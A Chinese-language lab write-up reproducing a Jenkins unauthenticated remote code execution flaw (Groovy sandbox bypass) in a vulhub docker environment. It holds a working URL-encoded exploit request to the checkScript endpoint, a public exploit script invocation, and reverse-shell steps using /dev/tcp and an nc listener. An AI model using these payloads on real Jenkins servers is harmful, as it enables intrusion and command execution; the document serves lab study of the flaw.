vulhub
1. 漏洞介紹
1.1 背景介紹
Jenkins使用Stapler框架開發(fā),其允許用戶通過URL PATH來調(diào)用一次public方法。由于這個過程沒有做限制,攻擊者可以構(gòu)造一些特殊的PATH來執(zhí)行一些敏感的Java方法。
通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴(yán)重的就是繞過Groovy沙盒導(dǎo)致未授權(quán)用戶可執(zhí)行任意命令:Jenkins在沙盒中執(zhí)行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執(zhí)行任意命令。
1.2 漏洞影響
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
2. 漏洞詳細(xì)復(fù)現(xiàn)步驟
2.1 環(huán)境&工具
漏洞機:192.168.10.200 ubuntu
- docker
- vulhub
攻擊機:Windows10
- Burpsuit
- wireshark
2.2 漏洞復(fù)現(xiàn)步驟
2.2.1 漏洞機環(huán)境
執(zhí)行如下命令啟動一個Jenkins 2.138,包含漏洞的插件也已經(jīng)安裝:
docker-compose up -d

環(huán)境啟動后,訪問http://your-ip:8080即可看到一個已經(jīng)成功初始化的Jenkins,無需再進(jìn)行任何操作。

2.2.2 漏洞復(fù)現(xiàn)
- 反彈shell

/dev/tcp是一個socket鏈接
嘗試在windows攻擊機的防火墻的高級設(shè)置中添加入站規(guī)則和出站規(guī)則,依然鏈接被拒絕。


ping攻擊機是能夠ping通的。

嘗試關(guān)掉靶機的防火墻,依然鏈接被拒絕

嘗試更換端口號,依然鏈接被拒絕

明明就能ping通,我實在想不通。
解密了,應(yīng)當(dāng)先在攻擊機監(jiān)聽端口,再在靶機tcp鏈接攻擊機,這個時候再在攻擊機回車兩次,就會出現(xiàn)反彈shell。
nc -lvp 6789 #port



- 使用一鍵POC腳本
使用https://github.com/orangetw/awesome-jenkins-rce-2019

下載運行 exp.py 需要的依賴
pip install requests
pip install enum
執(zhí)行exp.py
python exp.py http://靶機ip:8080/ "touch /tmp/success"

在靶機查看是否成功

- 使用burpsuite
現(xiàn)將playload中的value編碼url
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
Host: 192.168.0.113:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
Connection: close

response一片空白。

2.3 漏洞復(fù)現(xiàn)注意事項
應(yīng)當(dāng)先在攻擊機監(jiān)聽端口,再在靶機tcp鏈接攻擊機,這樣端口才能對應(yīng)上!如果先tcp鏈接是會被拒絕的。如果鏈接不上,應(yīng)當(dāng)先檢查雙方是否能ping通,再檢查IPS是否攔截成功。